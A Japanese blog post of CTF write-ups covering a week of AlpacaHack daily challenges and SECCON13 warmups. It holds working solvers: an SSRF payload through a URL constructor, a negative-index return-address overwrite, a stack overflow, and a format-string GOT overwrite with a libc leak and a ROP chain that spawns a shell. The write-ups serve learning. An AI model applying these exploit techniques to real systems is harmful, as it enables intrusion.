1日1問出題する常設CTFを始めます🎄
— AlpacaHack (@AlpacaHack) 2025年11月30日
初心者向けの問題を中心に、
・月〜金は新規の問題
・土日は新たに移植したCTFの過去問
を公開していきます!
本日より開催です!https://t.co/VJokcIgkGm pic.twitter.com/apSRUw7ZWT
人におすすめしやすいですね。 CTFのリハビリと脳の体操に毎日やっていきたいです。 説明の通り気軽に参加できて楽しいです。
難易度Hardとあるものもあり身構えてましたが、気軽に解ける難易度で私でも続けられそうです。
この記事はnittc procon Advent Calendar 2025の記事です。ほかの方の記事もぜひ読んでください!(登録してる人のほとんどがOBですが。
nittc procon Advent Calendar 2025 - Adventar
現役生の皆さんもやりましょう!
12/01 [Misc, Welcome] AlpacaHack 2100
AlpacaHack 2100
🦙 < フラグは Daily AlpacaHack の 2100年1月 のカレンダーにあるパカ
Misc, Welcome

カレンダーがあります。次の月へ行くと以下のようなパラメータがつきました。
https://alpacahack.com/daily?month=2026-01
これを2100-01としてアクセスするとフラグがありました。

https://alpacahack.com/daily?month=2100-01
Alpaca{brought_AGI_to_humanity..._yes,_Alpaca_Gentle_Intelligence.}
12/02 [Crypto, Easy] a fact of CTF
a fact of CTF
AlpacaHack で一番最初に完成したものの難易度調整により出題されなかった幻の問題 (運営コメント)
Crypto, Easy
import os flag = os.environ.get("FLAG", "not_a_flag") # all prime numbers less than 300 primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293] assert len(flag) <= len(primes) ct = 1 for i, c in enumerate(flag): ct *= primes[i] ** (ord(c)) print(hex(ct))
素数を累乗して掛け合わせています。 それぞれの素数が何回かけられているかを数えればそれぞれの素数に対応した文字がわかります。
import os from Crypto.Util.number import * import string # all prime numbers less than 300 primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127, 131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257, 263, 269, 271, 277, 281, 283, 293] crypto=0xadb88e47d531cdb104013d7aa8a21e6f5bfb841d2ff5d5090d735f9a1d9f6bb2dc0ad6d19efca47ec943e5a8b685f295be56d3531fcb49e41d5d02dd6113e3fcd369a5c25098b38e540fc865e2f1078292efc89778b5f29e74b188c87afcdeb9f4c58d77d1314271646bc1043c63e62b76396f1349b914a0d489df9c211c6e551969694c1a930f8e04379a589869c4a838d0db71168f61b8ff38c6107fca44d2b5064ed42a4b8bbd774025f43907275317679daa0fb58e4127eac72eedb6be263fc0897f6d791eb3b301321b1e0ed37234b92249fe164f5b1a85981e7b52d65e50315520bfcf9c45f86e6d9c899e7aaefa936fa1a7f14dbb9bc9d9615dc9d97e7aecf162549866488b99d6903586f0cbdabfa0de664e66b8e36dadc2fec12d09a6ac3d33b6cdd8aaeccf58f7a3abbc2bcce34652f08617b33583568a1c5335a13d1530c69284d13df513314aa5b12db052529faf61461107d088008658730bce9af8ac9a9b262df3f1e9c84334f3616e9ed9d6598c4a70e9894b47ad73b415713371a5ced21f2853e02f0cce55969ff3101fb9da00c6f48932fa8696ee474bee89d462e08038566ea125f56733f029f40d13ea98a92ddbfcd7b0c900e8b1c7bc65124ae620279e7ae00fb8ef65f835665e344d570325330f90c85326571fd96ba2883fc7b2b6615f35d555948acf3c0ae684a0af323011d209dd8374649dec9bbdaa0ab7068af63fdaacbc5177fd75b457e91fec461a33a0fcb55754d655f2fb9e198d81df64009e9e1e34bddb349955d0792d9717161ba4538b564d85fb6630e2acb4bc95130f6c9d31d6f53aeaecd4c023c50df0b8e2e50c84db4051261abaf38f7020b2964ba6ad05932e22428ae773e78dc83014e674261859b65bd7c9d4b328dd9abbae1067f735006d4400f8c595ee01904fcbdf54c34f983826c24876877f76b9ee14327ddb6b7a7a2625a65a92c2ea757f42d0a3a6fb824d00c9ad4fb4cb2b2c77b0d66b89fc4846b5448df3bfa8977a8e42e9ea4ec5948264f0cd8efeec387c0344b56017657679605b1d0bc32fb1742b1cb8f2426e35e1e673c6af6ae5f3d3bda56b4de192f994f3aef809ae92dda1ab20aef0a948c9bdfecb896727856a0d8a0d9af81661ba53c7927223b2389a168c8adc04f1e7a07499d308bf9cdbe55220a5fa392879d644f3c25949c7d4d6aee482525ad22c3bde07e16fcc1788362bf365c0e12db42e0ad2ce29d666bed43f24dadfec45008b6c1dd96649c2afbbd392e635b5185fe5c8f9374eb6c7418cd5c4400a8025eb989e1ca66943e02e7d54b2744c51e17de2a919972c7deac0735501ce812b9453e2e14d22ec1dd2e87af06d47e8118c27a6357e006d774f053f977619347b62c6f01bf810369924295c4e097a6e8586eef1e310e787d870b0c4bee2e0d0a63b1dde4ef656213788dad7214e61d76c5b850c13836fc35ce85840ca5c450459753295ed628af60fb102c26208ac7bd09f5b02f9b4800eb486e41e4bfe780e02993a3259a5e310b404069bc15d2230b26a7f5e3d53df96ece4d51086444cb5bd24fb507f31869b248facccff49d5cf43643013f144af758c41405a02fd70564bea480b3a157059c1fab45e89bfd7caf543e2605d0d7e06ddb343cf2d03377355a12d818b430b8614687834a37bb0442197d9803fdab84129c864708031959b99abebbe013c221f5397d25750a9b8fd7d004a017646f0792c87ade48e6138bd554fdb2df57b980bdb073c805f99754affbcca377a37c9383c68add373c879ab309efc144234a1b55b44012bc5fad42e2b9c7ca13421cffb68b3dbfe6d5b6d009e02ae27bd45203c1db0bf250c22ffbc689f21b8b503ca5091465ef28295e307084cffb00f3af88bb0ffecaaa10496c866aceedd97059731b6defc3501b399ad7b8ff57f66872ad49573df06aeffe097ae904914d78991ba6008de217fb7f766044ab7a1fd79878f87df9fb3ad74024bfadc4a3a781216b141e2ac6c34ce76f0cf60a33a0c44a9a31770c279e7b11b87380de18406b5cd7c4892cb49ff5a8ef07c95a4c669eff91f424308342f68bb558c240c8a66393a561d659ada61b0fd595a155bca28054b13fe3aef57ba3fff5a39c92c0f4b8c5e3f8ef8aaa27aef70c1a065d10c107f2354f117b7f00db658326e07b8c3c6c833a3742a98a99e40ec978b71c656612da7c232575685e0f00c4fa51c0f13d064798b82db23a192bb6b8db0319fc3924929b350fbef650395d408df85e6fc5b63294ea8f36f98473f5a4b273e1a0a4b9545512547e8aabe1381989b6e241d47fd121f51478829a6557ab83bfa3579940c2d08201b24b09d209928f3914672ae60d1be1aa1dd20d7908d68da91c49523109a64bc553b4d89aa704f1628c9cca45b2ad157a874eb3afbd7d5e34bc958bf46bd455b2899a3033743af16d467eda2fd0c9b7f8892a82a8763c41c1fb112f2ecad17ae30da44db3d8f8a9a61510354fc5e072fe12b556f98edb933c9319e232451fa422d7cfed27af993fdd40913c6ddbfe9a89f1ae37c7ee8c2b058870daa04127f56ad5acafdb6accfd9fe66b49d653a39ccecf3dbade95b7eea178fdc82a7e6e5e3f118c9b800f96ab85a9109379dbf56a84ffe6fad6fc3bda0bc9968e231d34aacd5bb8c7f72630ca9cba7d7764c8abe5aa545cf9975dc163302ceee56865e4306accc9011e80134378f131fb6255c8af6d2d94d5f3e73b3c0cd2c6a86fd97e016641ea05bb61f97d701e413ecc376c07395fa5b7d615c6a32cc3fd3cad5669c925bedacf102f1f611f82a157a7362c01c095432c13e75707605e07d39d6caaa1693b06e266fbeb29be640125361071fa98c6e9c236c12ca5d0c88ad45ab8e2d6d2962ea454c30572d6347b13670d4ee9f75e1c17a71edd79fbd0c58ff3ba2eec6a5cd017187fb85cb396490012155ec40a2f002a38dca1396affafd43b6fa28f54e42eaef83982f4050b8c70b6091e07a08ac8d5b74bd7cd2fc86014e174e8d1f53cfd9277858ed4e16833daf3fb4902b8b782d7bab0cdabcfa6c0d922baf5cefa7bc110434a474d9de2c3312ddd7cf457a837cd762d2f3444054ff7389d81bc52a6bdb9731bd34a77f48bc8fc383f1bdd46ef5666df0d2f41ba359c8168ae5bd0d5ec36a85b9ec5a1469af81ef4f5254fb4b0e7d31c64ea4fc9975f157872b7f178d792877be60a014622a7594746017fea2e8c50926a36c0294249cd2d1b3ffb060eaa8050b906f4adb6acbf8446e9b22256d3e32dc63dbde922f0296b66d57c32f4d8ad5382d3159f787e4474f48a5d1033ba4760b9f74b66751efc7375b48c55ab3817458ca71ac52b8360da2f512f247e4b99fea2a43f423fcd76bfb9e64a2a0fcd69a3876c517ecaab5a4efffa8e957ba647eea810953e1554345872488a7b7b60735689c20e3ac9d5345c935bfaf80c3a6fafd1cd551457e3f8c4caa24568443b5afd0bd6eeda07938838bcb946460c9e882b3af29ca787b7a0b03ac3318cd720f7b08169096aee70c26bb59f3fcb39fef1d02140f43c4e6ba06e8eaf87f20685962fbbf1609216be320168e05b3ea734687779e8453ee4b44e793ccce8a541ec26781d980a58ec6625f194b7485bfd980f61ddcdc18626cc60b7754951520256f1676a35b64ee4d3f46c8a992fd824a425019b90c5ceb90c5feec0d3ba970f46cb5736f8e2673fabc8b40ea71730ca6e7dc45efff9126528f3e8c976ae1c1c2a9ed1f09fc848e986a8e2a771865424a16f8f3f8fd86e5c9c7bec7f7f698ddcd45b33f7b82b2973b075e46b07d415f50a845eb214d49f975b03c471fa4f8bd3c73261c4037eed7815f388c4e454737cff44fa12d358336ad5f0f8df8da4ba572a0e71012bcb776c41ea29bbab45c2645c880d4108f1de20a867464513414d5aeab3621a2cc08ce9370a2d64a0dbc0aff5f0722cdabfc3d90dfc2ac63b65f4a6e9111ae0595b1c03e7d55d16449d6f8b1ae6328cd3b29189ed9eb34ad5b1541f8596f302d0254c32ee04a555d1ba9567c47fafdfdb05b98783e04d2052d4594f8c7549b048c11477229228e3be8cdb214218e9069a2f21ed370b12df6708357db5b3e8dbf1895ea167c77ec4b6beb93fa7d6fb61737b61beffadf5f3b533be8730caec2ef1fe47bbee3d204ae007bd2c0b7a1c1784a71e0d85d6317111079a5d4e74c62304f6c91ba32b8e5f62ac68811cc0d67d9707173129c5ce874d6d52c1178b6eb86a739df6c27020ebb489224f1d5ca08ada416f5dad9f224a795b475ceca4fedceef605e96c5cb939ec6c361463bc86bdfc6c5c5f24b42888b59e229082b024f78eb28b9190beb46a2802dfef1f9019511118cd8dd338b1e3ac04235cb6a31afb49b27fee71da3a387a1904acd74799ce5211e3c2c43b66ad6a050b70b28a2dac3294abc1d53cb9df334546ef70f7aa29e93a0902fd23b0a554570e0271a49b8c548b5cf846c04f80dd922749b53f4f0db901e4c97c1209236adf891e184564a6b94f3da00e2fb548fb581c204eec117f8381a735f2fcecfd69c31d15342b053d5681fc97644c51e604f99299c7679727b25f73d863f83e0bc2288255af7c0720bd3b0f1820e60895a0d37f60ee05b928f7311f97434dd527fc2f4a33c8d0f4e4e3f7e160afa1a2731c522eef280702dd4eba358370cd6c9386c196d351f2ef8935045efb196d6b6a11e42209f0a4b64f4aea7b830ee131bd46d33d36f42dcfe833e5fddf59ea417c5ddb8a80c50957e3eec9177277483d1231d0e5f40aea3bfa9eec670bf19a72e0b96a3f9be8a8c63cca7960c374d2196881aafef24d32b2d582bd562dfd8d1996f1e7f73e412e3690ae5a492e11d173f04ba9e68d8d9cfaaf322eec828f95be3fe7e4c8dfc156993edb40321d40fb59cba71775581b2186fdd0271c04d85373e1022be81e21998a360bc1ba46dfd69bfb4dbedf43f9688483cab2002de982ec8e9ced314aac88b37694fcb63a41b7f245425c0455c146dfad31cd56174e92fcc6eb7e0000000000000000 m="" x = crypto for p in primes: k = 0 while x % p == 0: x //= p k += 1 m += chr(k) print(m)
Alpaca{prime_factorization_solves_everything}
最初、p^ord(printable[i]) i=-1から割ってあまりが0になるまでiを下げて探そうとしてましたが、p^ord(printable[i]) が大きくなりすぎて計算できず詰んでました。(説明が下手)
12/03 [Web, Medium] Emojify
Emojify
:pizza: -> 🍕
Web, Medium

文字列から絵文字を出してくれるWebアプリです。
docker-compose.yamlをみるとsecretというサービスがあります。
services: frontend: build: dockerfile: ../Dockerfile context: ./frontend restart: unless-stopped init: true ports: - ${PORT:-3000}:3000 backend: build: dockerfile: ../Dockerfile context: ./backend restart: unless-stopped init: true secret: build: dockerfile: ../Dockerfile context: ./secret restart: unless-stopped init: true environment: - FLAG=Alpaca{REDACTED}
secretのindex.js
import express from "express"; const FLAG = process.env.FLAG ?? "Alpaca{REDACTED}"; express() // http://secret:1337/flag .get("/flag", (req, res) => res.send(FLAG)) .listen(1337);
なのでここにアクセスできればFlagが得られます。 しかし先ほどのdocker-compose.yaml見るとわかる通り外部には公開されていないので直接は無理です。 しかし特にネットワークが分けられていないので公開されているFrontからアクセスすることはできます。
frontのindex.js
import express from "express"; import fs from "node:fs"; const waf = (path) => { if (typeof path !== "string") throw new Error("Invalid types"); if (!path.startsWith("/")) throw new Error("Invalid 1"); if (!path.includes("emoji")) throw new Error("Invalid 2"); return path; }; express() .get("/", (req, res) => res.type("html").send(fs.readFileSync("index.html"))) .get("/api", async (req, res) => { try { const path = waf(req.query.path); const url = new URL(path, "http://backend:3000"); const emoji = await fetch(url).then((r) => r.text()); res.send(emoji); } catch (err) { res.send(err.message); } }) .listen(3000);
明らかに怪しいwafでバリデーションされているここら辺が怪しいです。
const path = waf(req.query.path); const url = new URL(path, "http://backend:3000");
URLコンストラクタについて調べると
new URL("//foo.com", "https://example.com"); // => 'https://foo.com/' (see relative URLs)
やばそうなのがあります。
pathはこのwafでしかバリデーションされてないので、wafのバリデーションを回避しつつ以上のようなことをすれば解けそうです。
"emoji"という文字列は含んでいればいいだけなので、/api/?path=//secret:1337/flag?emojiとかすればよさそうです。
~/alpaca/web/emojify ❯ curl 'http://34.170[.]146.252:31211/api/?path=//secret:1337/flag?emoji' Alpaca{Sup3r_Speci4l_Rar3_Flag}
いけました。
Alpaca{Sup3r_Speci4l_Rar3_Flag}
12/04 [Rev, Easy] Leaked Flag Checker
Leaked Flag Checker
みんなだいすきフラグチェッカー
Rev, Easy
challenge.cとその実行ファイルが配布されます。
// gcc -o challenge challenge.c #include <stdio.h> #include <string.h> int main(void) { char input[32]; const char xor_flag[] = "REDACTED"; size_t flag_len = strlen(xor_flag); printf("Enter flag: "); fflush(stdout); scanf("%31s", input); if(strlen(input) != flag_len) { printf("Wrong length\n"); return 1; } for(size_t i = 0; i < flag_len; i++) { if((input[i] ^ 7) != xor_flag[i]) { printf("Wrong at index %zu\n", i); return 1; } } printf("Correct\n"); return 0; }
スタック上に置かれるxor_flagと7をxorすればflagが出てきそうです。
objdump -M intel -d challenge
以上のコマンドでディスアセンブルしてみましょう。するとmainのとこに以下のような処理があります。
1204: 48 b8 46 6b 77 66 64 movabs rax,0x6b7c666466776b46
120b: 66 7c 6b
120e: 48 89 45 c2 mov QWORD PTR [rbp-0x3e],rax
1212: 48 b8 7c 6b 72 64 6c movabs rax,0x7a7e6c64726b7c
1219: 7e 7a 00
121c: 48 89 45 c8 mov QWORD PTR [rbp-0x38],rax
何らかの定数をスタックに置いています。これがxor_flagだと思われますのでこれで適当にsolverを書きます。
from Crypto.Util.number import long_to_bytes, bytes_to_long a = long_to_bytes(0x6B7C666466776B46) b = long_to_bytes(0x7A7E6C64726B7C) ab = a + b for b in ab: print(chr(b ^ 7), end="")
~/alpaca/rev/leaked-flag-checker .venv ❯ python solver.py l{acaplA}ykcul{
よくわからない文字列が出てきましたが、エンディアンの問題でしょう。推測するにAlpaca{lucky}なのでこれで提出したらいけました。
Alpaca{lucky}
12/05 [Pwn, Hard] Integer Writer
AlpacaHack 2100
うっかり戻りアドレス書き換えられたらシェル起動できちゃうって冷静に考えてやばくね?気をつけなきゃ...
Pwn, Hard
// gcc -o chal main.c -fno-pie -no-pie #include <stdio.h> #include <string.h> #include <unistd.h> /* ** How to get the address of `win` ** $ nm chal | grep win XXXXXXXXX This address is **fixed** across executions, because the challenge binary `chal` is compiled with -fno-pie (i.e., without position-independent code). */ void win() { execve("/bin/sh", NULL, NULL); } int main(void) { int integers[100], pos; /* disable stdio buffering */ setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("pos > "); scanf("%d", &pos); if (pos >= 100) { puts("You're a hacker!"); return 1; } printf("val > "); scanf("%d", &integers[pos]); return 0; }
win関数を呼び出せれば勝ちです。
みるとpos >= 100でマイナスに行けそうです。integersはintの配列なのでどこかの4bytes編集できます。
スタックにある配列のマイナスに行けるということは、今のスタック(rspがさす場所)の上に行けるってことです。(説明が下手(上と言っているのは、小さくなるほうにスタックが伸びていくからです。(説明が下手
gdbで見てみましょう。(pwndbgを使ってます)

scanf("%d", &integers[pos]);のあとで今のスタックの上側を見ると、mainへのアドレスがあります。
これは何かというと、scanf("%d", &integers[pos]);のreturn addressです。return addressというのは関数が呼び出されるときに元居た場所に戻れるように保存されるアドレスです。関数の中でreturnしたときにこれが使われます。これはスタックに保存されます。
scanf("%d", &integers[pos]);の引数を見るとintegersは0x7fffffffcf64にあるとわかります。


scanf("%d", &integers[pos]);のreturn addressはintegersの上(アドレスが小さいほう)の0x7fffffffcf48にあります。
これをこのscanf("%d", &integers[pos]);のなかで書きかえれば、returnするときに書き換えられたアドレスに行ってしまいます。これをwin関数のアドレスにすれば勝ちです。
自分で自分を書き換えてるみたいで面白いですね。(?
solver.py
from pwn import * binary_name = "./chal" remote_name = "" remote_port = 51272 libc_name = "libc.so.6" context.terminal = ["tmux", "splitw", "-h"] REMOTE = 0 LOCAL = 1 DEBUG = 2 def conn(exploit_target=0): if exploit_target == 0: return remote(remote_name, remote_port) if exploit_target == 1: return process(binary_name) if exploit_target == 2: return gdb.debug( binary_name, """ b main c """, ) return remote(remote_name, remote_port) io = conn(exploit_target=LOCAL ) elf = ELF(binary_name) payload = str(-0x18 // 4).encode() print(payload) io.sendlineafter(b"pos >", payload) payload = str(elf.symbols.win).encode() io.sendlineafter(b"val >", payload) io.interactive()

win関数が呼ばれシェルが取れフラグが取れました。
Alpaca{D0_y0u_th1nk_th3_st4ck_gr0ws_upw4rd_0r_d0wnw4rd?}
12/06 [Pwn, Easy] simpleoverflow
simpleoverflow
Cでは、0がFalse、それ以外がTrueとして扱われます。
Pwn, Easy
土曜と日曜日は、過去のCTFの過去問らしいです。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { char buf[10] = {0}; int is_admin = 0; printf("name:"); read(0, buf, 0x10); printf("Hello, %s\n", buf); if (!is_admin) { puts("You are not admin. bye"); } else { system("/bin/cat ./flag.txt"); } return 0; } __attribute__((constructor)) void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(120); }
buf[10]なのでbufのためには10bytesしかスタックに確保されていません。しかし read(0, buf, 0x10);で0x10=16bytesも読み込んでしまっています。とりあえず16文字くらい入力してみましょう。

するとフラグがもらえました。これはbufからあふれた文字がis_adminを上書きしてしまうからです。
ディスアセンブルしてみるとわかるのですが、buf[10] の下にis_adminがあります。(cmp DWORD PTR [rbp-0x4],0x0で使われてるrbp-0x4にis_adminがある。bufはその上のrbp-0xeにある。配列は上から下(アドレスが小さいほうから大きいほう)へと伸びていくためあふれるとis_admin`を上書きしてしまう。)
objdump -M intel -d chall

ctf4b{0n_y0ur_m4rk}
12/07 [Crypto, Medium] size limit
AlpacaHack 2100
復号鍵も渡したんだし、これで誰でもメッセージを読めるよね!
Crypto, Medium
problem.py
#!/usr/bin/python3 from Crypto.Util.number import getPrime, bytes_to_long import flag assert(len(flag.flag) == 131) p = getPrime(512) q = getPrime(512) N = p * q phi = (p - 1) * (q - 1) e = 0x10001 d = pow(e, -1, phi) flag = bytes_to_long(flag.flag) c = pow(flag, e, N) print(f'N = {N}') print(f'e = {e}') print(f'c = {c}') print(f'd = {d}')
output.txt
N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673 e = 65537 c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643 d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865
普通にdが渡されているのでpow(c, d, N)で行けるかなと思ったのですが、なんか無理でした。
どうやら問題名の通り平文がassert(len(flag.flag) == 131)とNより大きいためにちゃんと復号できてないようです。(というか暗号化がうまくできてない?)
まあmod Nなので、Nを足していけば元に戻るんじゃないかと思ったのでやったらできました。
from Crypto.Util.number import long_to_bytes N = 65667982563395257456152578363358687414628050739860770903063206052667362178166666380390723634587933595241827767873104710537142458025201334420236653463444534018710274020834864080096247524541536313609304410859158429347482458882414275205742819080566766561312731091051276328620677195262137013588957713118640118673 e = 65537 c = 58443816925218320329602359198394095572237417576497896076618137604965419783093911328796166409276903249508047338019341719597113848471431947372873538253571717690982768328452282012361099369599755904288363602972252305949989677897650696581947849811037791349546750246816657184156675665729104603485387966759433211643 d = 14647215605104168233120807948419630020096019740227424951721591560155202409637919482865428659999792686501442518131270040719470657054982576354654918600616933355973824403026082055356501271036719280033851192012142309772828216012662939598631302504166489383155079998940570839539052860822636744356963005556392864865 m = pow(c, d, N) while True: m += N b = long_to_bytes(m) if b"TSGLIVE{" in b: print(b) break
b'TSGLIVE{Tttthhhhhiiiiiiisssss iiiiiiiiiisssss aaaaaaaaaaaaaa tooooooooooooooooooooo looooooooooooooooong fllllaaaaaaaaaaaaaaaaaag!}'
終わり
1週間分のWriteupをまとめて書きました。これ毎日書いたほうがいいね。そのほうが需要高いし、一週間後だと忘れててかくのめんどくさいし、量多いし。かといって毎日かきたくはないよ
何はともあれDailyAkariやWordleなどに加えてルーティンが増えそうでうれしいね。
この記事はnittc procon Advent Calendar 2025の記事です。ほかの方の記事もぜひ読んでください!
SECCON13 Quals pwnとcryptoのwarmup

一人で参加しました.pwnとcryptoのwarmupだけ解けました.warmupは全部解きたかったけど全然だめだった.かなしいね
たのしかったです!
Paragraph (pwn)
#include <stdio.h> int main() { char name[24]; setbuf(stdin, NULL); setbuf(stdout, NULL); printf("\"What is your name?\", the black cat asked.\n"); scanf("%23s", name); printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name); return 0; }
[*] '/home/trimscash/seccon24/pwn/Paragraph/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
見ると書式文字列攻撃ができることがわかります. しかし入力できる文字が23文字と小さめでどこをどうやって書き換えればいいのか一見わかりません.
ここでgotを見てみましょう. まずlibcとリンカを取ってきて本番環境に揃えます.
❯ docker compose up -d ❯ docker cp paragraph-paragraph_dist-1:/srv/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ ❯ docker cp paragraph-paragraph_dist-1:/srv/lib/x86_64-linux-gnu/libc.so.6 ./ ❯ patchelf --set-rpath ./ chall ❯ patchelf --set-interpreter ./ld-linux-x86-64.so.2 chall
paragraph-paragraph_dist-1の部分は立ち上げたコンテナ名にしてください.Dockerfileを見ればわかるように/srv以下のlibcであることに注意しましょう.
pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/trimscash/seccon24/pwn/Paragrapha/chall: GOT protection: Partial RELRO | Found 4 GOT entries passing the filter [0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64 [0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64 [0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e0b0f0 (printf) ◂— endbr64 [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64
gotを見てみるとわかるように,__isoc99_scanfとprintfのアドレスの差分が2byteしかないです.1nibble分はaslrでランダムになりますが,1/16で突破できます.
さらにmainを見てみると書式文字列攻撃できるprintfの後, 以下のようにちょうどいい感じで引数を与えられた呼び出しがあります.
printf(name); printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
printfのgotを書式文字列攻撃でscanfのアドレスに改ざんし,そのあとの呼び出しでropを作れば行けそうです.
以下,本番中に書いた汚いsolver
from pwn import * binary_name = "./chall" remote_name = "paragraph.seccon.games" remote_port = 5000 libc_name = "libc.so.6" while True: io = remote(remote_name, remote_port) # io = process(binary_name) # io = gdb.debug(binary_name, "b main\nc\n") elf = ELF(binary_name) libc = ELF(libc_name) printf_got = elf.got["printf"] scanf_got = elf.got["__isoc99_scanf"] # [0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e32bd0 (puts) ◂— endbr64 # [0x404020] setbuf@GLIBC_2.2.5 -> 0x7ffff7e3a740 (setbuf) ◂— endbr64 # [0x404028] printf@GLIBC_2.2.5 -> 0x7ffff7e0b0f0 (printf) ◂— endbr64 # [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64 scanf_bytes = 0xAE00 payload = f"%8${scanf_bytes}s%8$hn".encode() if len(payload) % 8 != 0: payload += b"#" * (((len(payload) // 8) + 1) * 8 - len(payload)) payload += p64(printf_got)[:-1] assert len(payload) == 23 io.sendlineafter(b"asked.", payload) printf_addr = io.recvuntil(b"#")[-7:-1] + b"\x00\x00" printf_addr = u64(printf_addr) libc_base = printf_addr - libc.symbols["printf"] # [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64 target_libc_addr = 0x7FFFF7E0AE00 - libc.symbols["__isoc99_scanf"] if libc_base % 0x10000 == target_libc_addr % 0x10000: print("Successfully overrided printf") else: print("Failed to override printf") io.close() continue # gdb.attach(io, "b *main+112\n\n") pop_rdi = 0x1AE710 + libc_base # 0x1ae710: pop rdi ; ret ; (1 found) system_addr = libc_base + libc.symbols["system"] sh_addr = libc_base + next(libc.search(b"sh\00")) ret = 0x40121D payload = b"a" * 40 payload += p64(ret) payload += p64(pop_rdi) payload += p64(sh_addr) payload += p64(system_addr) io.sendlineafter( b"(@@", b' answered, a bit confused.\n"Welcome to SECCON," the cat greeted ' + payload + b"warmly.\n", ) io.sendline(b"a") io.interactive() exit()
以下のようにしてやれば,libcのアドレスを取りながらgotの上書きもできます.
payload = f"%8${scanf_bytes}s%8$hn".encode() if len(payload) % 8 != 0: payload += b"#" * (((len(payload) // 8) + 1) * 8 - len(payload)) payload += p64(printf_got)[:-1] assert len(payload) == 23 io.sendlineafter(b"asked.", payload) printf_addr = io.recvuntil(b"#")[-7:-1] + b"\x00\x00" printf_addr = u64(printf_addr) libc_base = printf_addr - libc.symbols["printf"]
またここで23文字でassertしているのは,ここでバッファが消費されきれないと次の入力ができないからです.
あとはASLRの1nibbleの1/16ガチャは以下のように判定しループを回しています.適当に選んだ1nibbleとlibcのベースが一致するまでやり直しています.
# [0x404030] __isoc99_scanf@GLIBC_2.7 -> 0x7ffff7e0ae00 (__isoc99_scanf) ◂— endbr64 target_libc_addr = 0x7FFFF7E0AE00 - libc.symbols["__isoc99_scanf"] if libc_base % 0x10000 == target_libc_addr % 0x10000: print("Successfully overrided printf") else: print("Failed to override printf") io.close() continue
あとはROPです.
実行するとシェルが取れました.

SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
crypto (reiwa_rot13)
from Crypto.Util.number import * import codecs import string import random import hashlib from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from flag import flag p = getStrongPrime(512) q = getStrongPrime(514) n = p*q e = 137 key = ''.join(random.sample(string.ascii_lowercase, 10)) rot13_key = codecs.encode(key, 'rot13') key = key.encode() rot13_key = rot13_key.encode() print("n =", n) print("e =", e) print("c1 =", pow(bytes_to_long(key), e, n)) print("c2 =", pow(bytes_to_long(rot13_key), e, n)) key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print("encyprted_flag = ", cipher.encrypt(flag))
みるとeが小さい.あとはkeyとrot13_keyが同じn,eで暗号化されています.
調べるとFranklin-Reiter Related Message Attackという攻撃手法が使えそうです.
上の記事を見るとわかるように,keyとrot13_keyの関係を式で表せたら解けそう.(適当
ROT13を式で表してみましょう.
ROT13はa~mまでの13文字であれば,以下のように13足されるだけです.
a (0x61) + 0x0d = n (0x6e)
ではn~zまではどうなるかというと,13引かれるだけです.
n (0x6e) - 0x0d = a (0x61)
ここでkeyは10文字.例えばkeyのすべての文字がa~mだとするならばrot13_keyは以下のように表せます.
key + 0x01010101010101010101 * 0x0d - 0x00000000000000000000 * 0x0d = ror13_key
n~zだけなら以下の通り.
key + 0x00000000000000000000 * 0x0d - 0x01010101010101010101 * 0x0d = ror13_key
実際はkeyはランダムなのでkeyとrot13_keyの関係性は,この0x01010101010101010101とかの部分を全通りでやってあげればどこかで当たるはずです.
これをもとにsageでsolverを書きました.
